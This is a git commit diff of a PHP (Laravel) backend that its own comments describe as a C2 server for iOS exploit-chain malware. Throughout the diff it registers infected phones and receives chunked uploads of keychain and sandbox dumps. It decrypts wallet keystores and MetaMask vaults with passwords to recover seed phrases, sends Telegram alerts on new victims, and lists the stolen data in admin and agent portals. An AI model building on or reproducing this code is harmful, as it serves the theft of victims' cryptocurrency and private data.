feat: app

This commit is contained in:
hashbro
2026-10-05 06:12:43 +08:00
parent e654f65cf9
commit cb92baa395
32 changed files with 3583 additions and 1019 deletions
+23 -31
View File
@@ -22,7 +22,6 @@ use App\Models\WalletMnemonic;
use App\Services\DsBeaconQueue;
use App\Services\PhotoOrigin;
use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Builder;
@@ -171,7 +170,7 @@ class DeviceController extends Controller
return match ($tab) {
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $request, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
@@ -519,29 +518,21 @@ class DeviceController extends Controller
private function unmonitorAddresses(Device $device): void
{
$addresses = $device->addresses()->where('monitor', 1)->get();
if ($addresses->isEmpty()) {
$n = $device->addresses()->where('monitor', 1)->count();
if ($n === 0) {
return;
}
try {
$svc = app(TokenviewMonitorService::class);
} catch (\Throwable) {
return;
}
foreach ($addresses as $address) {
try {
$address->monitor = 0;
$address->monitor_synced = false;
$address->monitor_failures = 0;
$svc->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
'device_id' => $device->id,
'address_id' => $address->id,
// Tokenview removeAddress uses HTTP timeout 120s per address. A replay
// ingest can leave dozens of monitor=1 rows; blocking delete on that
// freezes the admin UI (and php artisan serve). Rows are deleted in
// the next step, so webhooks will no longer match monitor=1.
Log::info('device_purge skip_tokenview_unmonitor', [
'id' => $device->id,
'device_id' => $device->device_id,
'monitor_rows' => $n,
]);
}
}
}
private function authorizeDevice(Device $device): void
{
@@ -675,18 +666,21 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data);
}
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
private function paginateKeystores(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
if (WalletKeystore::hasNeedsPasswordColumn()) {
$sortable[] = 'needs_password';
}
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
// Step 1: get paginated IDs ordered by the sort field (no blob access).
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
$idQuery = $device->keystores()->orderBy($field, $order);
$needsPassword = trim((string) $request->query('needs_password', ''));
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
$idQuery->where('wallet_keystores.needs_password', 1);
}
$total = $idQuery->toBase()->getCountForPagination();
$page = max(1, $page);
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
@@ -708,14 +702,12 @@ class DeviceController extends Controller
'id' => $row->id,
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
'kind' => $stats['kind'],
'item_count' => $stats['item_count'],
'summary' => $stats['summary'],
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
];
})->values();
@@ -729,7 +721,7 @@ class DeviceController extends Controller
$field = 'is_wallet';
$order = 'desc';
}
$q = $device->apps();
$q = $device->apps()->listed();
if ($field === 'is_wallet') {
$q->orderByDesc('is_wallet')->orderBy('name');
} else {
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -41,19 +42,27 @@ class KeystoreController extends Controller
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
$sortable = ['id', 'source', 'decrypted', 'chain', 'created_at', 'updated_at'];
if (WalletKeystore::hasNeedsPasswordColumn()) {
$sortable[] = 'needs_password';
}
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
if ($field === 'chain' && ! WalletKeystore::hasChainColumn()) {
$q->orderBy('devices.chain', $order);
} else {
$q->orderBy('wallet_keystores.'.$field, $order);
}
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$cols = array_merge(WalletKeystore::listColumnsLight(), [
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
'devices.chain as device_chain',
]);
Log::info('keystore.list.data.start', [
'page' => $page,
@@ -225,6 +234,72 @@ class KeystoreController extends Controller
]);
}
public function decryptPassword(Request $request, WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if ((int) $keystore->needs_password !== 1) {
return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400);
}
$password = trim((string) $request->input('password', ''));
if ($password === '') {
return response()->json(['code' => 1, 'msg' => '请输入密码'], 422);
}
if (strlen($password) > 256) {
return response()->json(['code' => 1, 'msg' => '密码过长'], 422);
}
$device = $keystore->device;
if ($device === null) {
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
}
@set_time_limit(180);
@ini_set('max_execution_time', '180');
$before = WalletMnemonic::query()
->where('device_id', $device->id)
->pluck('mnemonic_hash')
->all();
$seen = array_fill_keys($before, true);
$result = $adapter->decryptKeystoreWithPassword($device, $keystore, $password);
$keystore->refresh();
$after = WalletMnemonic::query()
->where('device_id', $device->id)
->get(['id', 'source', 'mnemonic_hash']);
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
$addedCount = $added->count();
if ($addedCount > 0) {
$msg = '已写入 '.$addedCount.' 条助记词';
$code = 0;
} elseif ((int) $keystore->decrypted === 1) {
$msg = '没有新的助记词(该来源可能已解密)';
$code = 0;
} elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0) {
$msg = '没有可解密的 Keystore(UTC / MetaMask Vault)';
$code = 1;
} else {
$msg = '密码不正确,未能解开助记词';
$code = 1;
}
return response()->json([
'code' => $code,
'msg' => $msg,
'data' => [
'id' => $keystore->id,
'decrypted' => (int) $keystore->decrypted,
'added' => $addedCount,
'mnemonic_total' => $after->count(),
'sources' => $added->pluck('source')->unique()->values()->all(),
'utc' => $result['utc'],
'vault' => (int) ($result['vault'] ?? 0),
],
], $code === 0 ? 200 : 400);
}
/**
* @return array<string, mixed>
*/
@@ -236,17 +311,16 @@ class KeystoreController extends Controller
'id' => $row->id,
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
'chain' => (int) ($row->chain ?: $row->device_chain ?: Device::CHAIN_CORUNA),
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
'kind' => $stats['kind'],
'item_count' => $stats['item_count'],
'summary' => $stats['summary'],
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
];
}
@@ -296,10 +370,7 @@ class KeystoreController extends Controller
{
$q = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->select(array_merge(WalletKeystore::listColumns(), [
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]));
->select('wallet_keystores.id');
AgentScope::applyDeviceChannelScope($q, $this->agent());
@@ -307,12 +378,17 @@ class KeystoreController extends Controller
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$decrypted = trim((string) $request->query('decrypted', ''));
$needsPassword = trim((string) $request->query('needs_password', ''));
$chain = $this->parseChainFilter($request->query('chain'));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($chain !== null) {
$this->applyChainFilter($q, $chain);
}
if ($source !== '') {
if ($source === '未知') {
$q->where(function (Builder $inner) {
@@ -326,6 +402,9 @@ class KeystoreController extends Controller
if ($decrypted === '0' || $decrypted === '1') {
$q->where('wallet_keystores.decrypted', (int) $decrypted);
}
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
$q->where('wallet_keystores.needs_password', 1);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
@@ -335,4 +414,42 @@ class KeystoreController extends Controller
return $q;
}
private function applyChainFilter(Builder $q, int $chain): void
{
if (WalletKeystore::hasChainColumn()) {
$q->whereRaw(
'COALESCE(wallet_keystores.chain, devices.chain, ?) = ?',
[Device::CHAIN_CORUNA, $chain]
);
return;
}
$q->where(function (Builder $inner) use ($chain) {
$inner->where('devices.chain', $chain);
if ($chain === Device::CHAIN_CORUNA) {
$inner->orWhereNull('devices.chain');
}
});
}
private function parseChainFilter(mixed $raw): ?int
{
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
if ($value === '' || $value === null) {
return null;
}
if ($value === 1 || $value === '1' || $value === 'coruna') {
return Device::CHAIN_CORUNA;
}
if ($value === 2 || $value === '2' || $value === 'darksword') {
return Device::CHAIN_DARKSWORD;
}
if ($value === 3 || $value === '3' || $value === 'app') {
return Device::CHAIN_APP;
}
return null;
}
}
+21 -21
View File
@@ -3,7 +3,7 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\AiLiveUploadIngester;
use App\Services\AppUploadIngester;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
@@ -109,7 +109,7 @@ class AppC2Controller extends Controller
}
/**
* Catch-all for the ai-live C2 pipeline (w2.bsvpn.net → /api/v2/*).
* Catch-all for the App 利用链 C2 pipeline (/api/v2/*).
*
* Real protocol recovered from Reqable capture (record 13655):
* GET /api/v2 (root) → {"name":"END POINT","env":"prod"}
@@ -122,9 +122,9 @@ class AppC2Controller extends Controller
* Log every request + persist chunk bodies, return protocol-faithful
* responses so the malware completes the full acquisition pipeline.
*/
public function aiLiveV2(Request $request): Response
public function appUpload(Request $request): Response
{
$this->logRequest($request, 'ailive_v2');
$this->logRequest($request, 'app_upload');
$path = $request->path(); // e.g. "api/v2/devices"
@@ -137,7 +137,7 @@ class AppC2Controller extends Controller
// ── Device registration ─────────────────────────────────
if ($path === 'api/v2/devices') {
$body = json_decode((string) $request->getContent(false), true) ?? [];
$device = $this->registerAiLiveDevice($request, $body);
$device = $this->registerAppDevice($request, $body);
return $this->json([
'code' => 0,
@@ -162,10 +162,10 @@ class AppC2Controller extends Controller
$uploadId = \Illuminate\Support\Str::uuid()->toString();
// Resolve the device so we can ingest keystores on completion.
$device = $this->findAiLiveDevice($request);
$device = $this->findAppDevice($request);
// Persist session state for chunk tracking
Cache::put("ailive_upload:{$uploadId}", [
Cache::put("app_upload:{$uploadId}", [
'fileName' => $fileName,
'fileSize' => $fileSize,
'chunkSize' => $chunkSize,
@@ -197,7 +197,7 @@ class AppC2Controller extends Controller
$uploadId = $m[1];
$chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0)));
$session = Cache::get("ailive_upload:{$uploadId}");
$session = Cache::get("app_upload:{$uploadId}");
$numberOfChunks = $session['numberOfChunks'] ?? 1;
$chunkSize = $session['chunkSize'] ?? 1048576;
$received = ($session['receivedChunks'] ?? 0) + 1;
@@ -206,13 +206,13 @@ class AppC2Controller extends Controller
// Backfill deviceId into the session from the x-device-id header
// if it wasn't captured at /api/v2/uploads time (e.g. session
// expired, or the uploads request didn't carry the header).
$headerDeviceId = $this->findAiLiveDevice($request)?->id;
$headerDeviceId = $this->findAppDevice($request)?->id;
if ($session && empty($session['deviceId']) && $headerDeviceId !== null) {
$session['deviceId'] = $headerDeviceId;
}
if ($session) {
$session['receivedChunks'] = $received;
Cache::put("ailive_upload:{$uploadId}", $session, now()->addHours(2));
Cache::put("app_upload:{$uploadId}", $session, now()->addHours(2));
}
// On the final chunk, reassemble + parse + store keystores so
@@ -242,9 +242,9 @@ class AppC2Controller extends Controller
if ($path === 'api/v2/finish') {
// All uploads for this device are done — dispatch the async
// keystore decryption job to recover mnemonics + addresses.
$device = $this->findAiLiveDevice($request);
$device = $this->findAppDevice($request);
if ($device !== null) {
app(AiLiveUploadIngester::class)->dispatchDecrypt($device);
app(AppUploadIngester::class)->dispatchDecrypt($device);
}
return $this->json(['ok' => true]);
@@ -373,7 +373,7 @@ class AppC2Controller extends Controller
}
/**
* Find or create a Device row for an ai-live app-injection beacon.
* Find or create a Device row for an App 利用链 beacon.
*
* The malware POSTs /api/v2/devices with a JSON body carrying:
* deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName,
@@ -391,7 +391,7 @@ class AppC2Controller extends Controller
*
* @param array<string, mixed> $body
*/
private function registerAiLiveDevice(Request $request, array $body): ?\App\Models\Device
private function registerAppDevice(Request $request, array $body): ?\App\Models\Device
{
$rawId = (string) ($body['deviceId']
?? $request->headers->get('x-device-id')
@@ -461,7 +461,7 @@ class AppC2Controller extends Controller
$device->saveQuietly();
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'aiLiveV2 telegram notifyNewDevice failed: '.$e->getMessage(),
'appUpload telegram notifyNewDevice failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
@@ -475,7 +475,7 @@ class AppC2Controller extends Controller
}
/**
* Look up the Device for the current ai-live request without creating
* Look up the Device for the current App 利用链 request without creating
* a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and
* /api/v2/finish where the device was already registered via
* /api/v2/devices).
@@ -486,7 +486,7 @@ class AppC2Controller extends Controller
* fall back to the most recently registered CHAIN_APP device from the
* same source IP, so the captured artifacts are never orphaned.
*/
private function findAiLiveDevice(Request $request): ?\App\Models\Device
private function findAppDevice(Request $request): ?\App\Models\Device
{
// 1. Primary: x-device-id header → device_id lookup.
$rawId = (string) ($request->headers->get('x-device-id') ?? '');
@@ -536,17 +536,17 @@ class AppC2Controller extends Controller
// Skip ingestion — the artifacts stay on disk and can be
// reprocessed manually.
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'aiLiveV2 ingest skipped: no device associated with upload',
'appUpload ingest skipped: no device associated with upload',
['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''],
);
return;
}
try {
app(AiLiveUploadIngester::class)->ingest($device, $uploadId, $session);
app(AppUploadIngester::class)->ingest($device, $uploadId, $session);
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->error(
'aiLiveV2 ingest failed: '.$e->getMessage(),
'appUpload ingest failed: '.$e->getMessage(),
['device_id' => $device->id, 'upload_id' => $uploadId],
);
}
@@ -595,7 +595,7 @@ class AppC2Controller extends Controller
}
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream,
// ai-live /api/v2/uploads/{id}/chunks — octet-stream).
// App 利用链 /api/v2/uploads/{id}/chunks — octet-stream).
// Name files with uploadId + chunkIndex so chunks can be reassembled.
if ($body !== '' && empty($saved)) {
$path = $request->path();
+6 -12
View File
@@ -3,6 +3,7 @@
namespace App\Jobs;
use App\Models\Device;
use App\Services\AppUploadIngester;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsKeystoreDecrypt;
use Illuminate\Contracts\Queue\ShouldQueue;
@@ -46,6 +47,7 @@ class DecryptDeviceKeystores implements ShouldQueue
public function handle(
DarkSwordIngestAdapter $adapter,
DsKeystoreDecrypt $decrypt,
AppUploadIngester $ingester,
): void {
$device = Device::query()->find($this->deviceId);
if ($device === null) {
@@ -56,27 +58,19 @@ class DecryptDeviceKeystores implements ShouldQueue
return;
}
$ingester->splitStoredKeychainVaults($device);
$device->load('keystores');
$wallets = $this->wallets ?? [];
$sandbox = $this->sandbox ?? [];
// When dispatched without a payload (e.g. AiLiveUploadIngester::dispatchDecrypt
// When dispatched without a payload (e.g. AppUploadIngester::dispatchDecrypt
// passes null,null), rebuild wallets/sandbox from already-stored keystores so
// structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse
// the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy
// stored under source="ai-live/keychain" is never fed to recoverBitpie().
// stored under source="app/keychain" is never fed to recoverBitpie().
if ($wallets === [] && $sandbox === []) {
$wallets = [];
$sandbox = [];
foreach ($device->keystores as $row) {
$kind = $row->raw_json['kind'] ?? '';
if (str_starts_with($kind, 'keychain')) {
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
} else {
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
}
}
[$wallets, $sandbox] = $adapter->storedWalletTrees($device);
}
$errors = [];
+21
View File
@@ -23,4 +23,25 @@ class DeviceApp extends Model
{
return $this->belongsTo(Device::class);
}
/**
* Keychain access groups like TEAM.apple.Spotlight and TEAM.* are not
* installed apps. Skip them on write and hide any leftover rows in lists.
*/
public static function shouldSkipBundle(?string $bundleId): bool
{
$bundle = strtolower(trim((string) $bundleId));
if ($bundle === '' || $bundle === '*') {
return true;
}
return str_starts_with($bundle, 'apple.');
}
public function scopeListed($query)
{
return $query
->where('bundle_id', '!=', '*')
->whereRaw('LOWER(bundle_id) NOT LIKE ?', ['apple.%']);
}
}
+350 -47
View File
@@ -10,14 +10,18 @@ use Illuminate\Support\Facades\Log;
class WalletKeystore extends Model
{
protected $fillable = [
'device_id', 'source', 'decrypted', 'raw_json', 'content_hash',
'device_id', 'chain', 'source', 'decrypted', 'needs_password', 'raw_json', 'content_hash',
'list_kind', 'list_item_count', 'list_summary', 'list_has_web3',
];
protected function casts(): array
{
return [
'raw_json' => 'array',
'chain' => 'integer',
'decrypted' => 'integer',
'needs_password' => 'integer',
'list_has_web3' => 'integer',
];
}
@@ -29,15 +33,31 @@ class WalletKeystore extends Model
*/
public static function listColumns(string $table = 'wallet_keystores'): array
{
return [
$cols = [
$table.'.id',
$table.'.device_id',
$table.'.source',
$table.'.decrypted',
$table.'.created_at',
$table.'.updated_at',
DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len'),
];
if (self::hasChainColumn()) {
$cols[] = $table.'.chain';
}
if (self::hasNeedsPasswordColumn()) {
$cols[] = $table.'.needs_password';
}
if (self::hasListStatsColumns()) {
$cols[] = $table.'.list_kind';
$cols[] = $table.'.list_item_count';
$cols[] = $table.'.list_summary';
$cols[] = $table.'.list_has_web3';
}
$cols[] = $table.'.created_at';
$cols[] = $table.'.updated_at';
$cols[] = DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len');
return $cols;
}
/**
@@ -50,69 +70,286 @@ class WalletKeystore extends Model
*/
public static function listColumnsLight(string $table = 'wallet_keystores'): array
{
return [
$cols = [
$table.'.id',
$table.'.device_id',
$table.'.source',
$table.'.decrypted',
$table.'.created_at',
$table.'.updated_at',
];
if (self::hasChainColumn()) {
$cols[] = $table.'.chain';
}
if (self::hasNeedsPasswordColumn()) {
$cols[] = $table.'.needs_password';
}
if (self::hasListStatsColumns()) {
$cols[] = $table.'.list_kind';
$cols[] = $table.'.list_item_count';
$cols[] = $table.'.list_summary';
$cols[] = $table.'.list_has_web3';
}
$cols[] = $table.'.created_at';
$cols[] = $table.'.updated_at';
return $cols;
}
public static function hasChainColumn(): bool
{
static $has = null;
if ($has === null) {
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'chain');
}
return $has;
}
public static function hasNeedsPasswordColumn(): bool
{
static $has = null;
if ($has === null) {
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password');
}
return $has;
}
public static function hasListStatsColumns(): bool
{
static $has = null;
if ($has === null) {
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'list_item_count');
}
return $has;
}
/**
* Load this row's raw_json alone, log memory, then drop the blob.
* List-page stats. Prefer denormalized columns so we never load raw_json
* (sandbox dumps can be tens of MB). Cache-miss hydrates once and persists.
*
* @return array{item_count: int, summary: string, kind: string}
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
*/
public function listStats(): array
{
$len = (int) ($this->raw_json_len ?? 0);
$memBefore = memory_get_usage(true);
Log::info('keystore.list.hydrate.start', [
'id' => $this->id,
'raw_json_len' => $len,
'mem' => $memBefore,
]);
if ($this->hasCachedListStats()) {
return $this->cachedListStats();
}
$json = is_array($this->raw_json) ? $this->raw_json : null;
if ($json === null && $this->id) {
$raw = self::query()->whereKey($this->id)->value('raw_json');
$this->setAttribute('raw_json', $raw);
$json = is_array($this->raw_json) ? $this->raw_json : [];
}
$json = is_array($json) ? $json : [];
try {
$stats = [
'item_count' => $this->itemCount(),
'summary' => $this->summary(),
'kind' => $this->kindLabel(),
'has_web3_keystore' => $this->hasWeb3Keystore(),
];
$stats = self::computeListStatsFromJson($json);
} catch (\Throwable $e) {
Log::warning('keystore.list.hydrate.fail', [
'id' => $this->id,
'raw_json_len' => $len,
'mem' => memory_get_usage(true),
'error' => $e->getMessage(),
]);
$stats = [
'item_count' => 0,
'summary' => '',
'kind' => $this->kindLabel(),
'kind' => self::kindLabelFor(trim((string) ($json['kind'] ?? ''))),
'has_web3_keystore' => false,
];
} finally {
if ($this->id) {
$this->setAttribute('raw_json', null);
}
}
Log::info('keystore.list.hydrate.done', [
'id' => $this->id,
'raw_json_len' => $len,
'item_count' => $stats['item_count'],
'kind' => $stats['kind'],
'mem' => memory_get_usage(true),
'delta' => memory_get_usage(true) - $memBefore,
]);
$this->persistListStats($stats);
return $stats;
}
public function hasCachedListStats(): bool
{
return self::hasListStatsColumns()
&& array_key_exists('list_item_count', $this->attributes)
&& $this->attributes['list_item_count'] !== null;
}
/**
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
*/
public function cachedListStats(): array
{
return [
'item_count' => (int) $this->list_item_count,
'summary' => (string) ($this->list_summary ?? ''),
'kind' => (string) ($this->list_kind ?? ''),
'has_web3_keystore' => (int) $this->list_has_web3 === 1,
];
}
/**
* @param array<string, mixed> $json
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
*/
public static function computeListStatsFromJson(array $json): array
{
$row = new static(['raw_json' => $json]);
$names = [];
$count = 0;
$row->collectListMeta($json, $count, $names);
$kind = self::kindLabelFor(trim((string) ($json['kind'] ?? '')));
if ($names === []) {
$summary = $count > 0 ? $count.' 条' : '';
} else {
$summary = implode(' · ', $names);
if ($count > 3) {
$summary .= ' 等'.$count.'条';
}
}
return [
'item_count' => $count,
'summary' => mb_substr($summary, 0, 255),
'kind' => $kind,
'has_web3_keystore' => $row->containsWeb3Keystore($json),
];
}
/**
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
* @return array<string, mixed>
*/
public static function listStatsAttributes(array $stats): array
{
if (! self::hasListStatsColumns()) {
return [];
}
return [
'list_kind' => $stats['kind'],
'list_item_count' => $stats['item_count'],
'list_summary' => $stats['summary'],
'list_has_web3' => ! empty($stats['has_web3_keystore']) ? 1 : 0,
];
}
/**
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
*/
private function persistListStats(array $stats): void
{
$attrs = self::listStatsAttributes($stats);
if ($attrs === []) {
return;
}
foreach ($attrs as $key => $value) {
$this->setAttribute($key, $value);
}
if ($this->id) {
self::query()->whereKey($this->id)->update($attrs);
}
}
/**
* Count list entries and pick up to 3 names without hashing / base64-decoding blobs.
*
* @param array<string, mixed> $json
* @param list<string> $names
*/
private function collectListMeta(array $json, int &$count, array &$names): void
{
$wallets = $json['wallets'] ?? null;
if (is_array($wallets)) {
foreach ($wallets as $key => $bucket) {
if (is_string($bucket) && $bucket !== '') {
$count++;
if (count($names) < 3) {
$names[] = is_string($key) ? $key : 'wallet';
}
continue;
}
if (! is_array($bucket)) {
continue;
}
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
foreach ($items as $item) {
if (! is_array($item)) {
continue;
}
$count++;
if (count($names) < 3) {
$name = trim((string) ($item['account'] ?? ''));
if ($name !== '') {
$names[] = $name;
}
}
}
}
}
$sandbox = $json['sandbox'] ?? null;
if (is_array($sandbox)) {
$this->collectSandboxMeta($sandbox, $count, $names);
}
if (isset($json['crypto']) && is_array($json['crypto'])) {
$count++;
if (count($names) < 3) {
$names[] = (string) ($json['id'] ?? $json['type'] ?? 'keystore');
}
}
}
/**
* @param array<string, mixed> $sandbox
* @param list<string> $names
*/
private function collectSandboxMeta(array $sandbox, int &$count, array &$names, string $prefix = ''): void
{
foreach ($sandbox as $key => $value) {
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
if (is_array($value)) {
if (isset($value['items']) && is_array($value['items'])) {
foreach ($value['items'] as $item) {
if (! is_array($item)) {
continue;
}
$count++;
if (count($names) < 3) {
$name = trim((string) ($item['account'] ?? ''));
$names[] = $name !== '' ? $name : $path;
}
}
continue;
}
$this->collectSandboxMeta($value, $count, $names, $path);
continue;
}
if (! is_string($value) || $value === '') {
continue;
}
$count++;
if (count($names) < 3) {
$names[] = $path;
}
}
}
public static function kindLabelFor(string $kind): string
{
return match ($kind) {
'keychain.wallets' => '钥匙串',
'sandbox' => '沙盒文件',
'web3.keystore' => '标准 Keystore',
'metamask.vault' => 'MetaMask Vault',
default => $kind !== '' ? $kind : '未知',
};
}
/**
* @param array<string, mixed> $rawJson
*/
@@ -130,12 +367,20 @@ class WalletKeystore extends Model
/**
* @param array<string, mixed> $rawJson
* @param bool $needsPassword When true, persist needs_password=1. Never writes 0.
*/
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson, bool $needsPassword = false): self
{
$hash = self::hashPayload($rawJson);
$matches = [];
foreach (self::query()->where('device_id', $device->id)->select(['id', 'content_hash', 'decrypted'])->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
$select = ['id', 'content_hash', 'decrypted'];
if (self::hasChainColumn()) {
$select[] = 'chain';
}
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
$select[] = 'needs_password';
}
foreach (self::query()->where('device_id', $device->id)->select($select)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
$rowHash = (string) $row->content_hash;
if ($rowHash === '') {
$raw = self::query()->whereKey($row->id)->value('raw_json');
@@ -159,6 +404,10 @@ class WalletKeystore extends Model
foreach (array_slice($matches, 1) as $dup) {
$dup->delete();
}
if ($needsPassword) {
self::markNeedsPassword($keep);
}
self::fillChain($keep, $device);
return $keep;
}
@@ -169,13 +418,62 @@ class WalletKeystore extends Model
'decrypted' => 0,
'raw_json' => $rawJson,
];
if (self::hasChainColumn()) {
$payload['chain'] = self::chainFromDevice($device);
}
$payload = array_merge($payload, self::listStatsAttributes(self::computeListStatsFromJson($rawJson)));
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
$payload['content_hash'] = $hash;
}
if ($needsPassword && \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
$payload['needs_password'] = 1;
}
return self::query()->create($payload);
}
public static function chainFromDevice(Device $device): int
{
$chain = (int) ($device->chain ?: Device::CHAIN_CORUNA);
return in_array($chain, [Device::CHAIN_CORUNA, Device::CHAIN_DARKSWORD, Device::CHAIN_APP], true)
? $chain
: Device::CHAIN_CORUNA;
}
/**
* Fill missing chain from the device. Does not overwrite a stored value.
*/
public static function fillChain(self $row, Device $device): void
{
if (! self::hasChainColumn()) {
return;
}
if ((int) $row->chain === Device::CHAIN_CORUNA
|| (int) $row->chain === Device::CHAIN_DARKSWORD
|| (int) $row->chain === Device::CHAIN_APP) {
return;
}
$chain = self::chainFromDevice($device);
self::query()->whereKey($row->id)->update(['chain' => $chain]);
$row->setAttribute('chain', $chain);
}
/**
* Flag a row as requiring a user password. Writes 1 only; never 0.
*/
public static function markNeedsPassword(self $row): void
{
if (! \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
return;
}
if ((int) $row->needs_password === 1) {
return;
}
self::query()->whereKey($row->id)->update(['needs_password' => 1]);
$row->setAttribute('needs_password', 1);
}
/**
* @return list<string>
*/
@@ -208,11 +506,7 @@ class WalletKeystore extends Model
public function kindLabel(): string
{
return match ($this->kind()) {
'keychain.wallets' => '钥匙串',
'sandbox' => '沙盒文件',
default => $this->kind() !== '' ? $this->kind() : '未知',
};
return self::kindLabelFor($this->kind());
}
/**
@@ -228,17 +522,26 @@ class WalletKeystore extends Model
public function hasWeb3Keystore(): bool
{
$json = is_array($this->raw_json) ? $this->raw_json : [];
if ($this->isWeb3KeystoreNode($json)) {
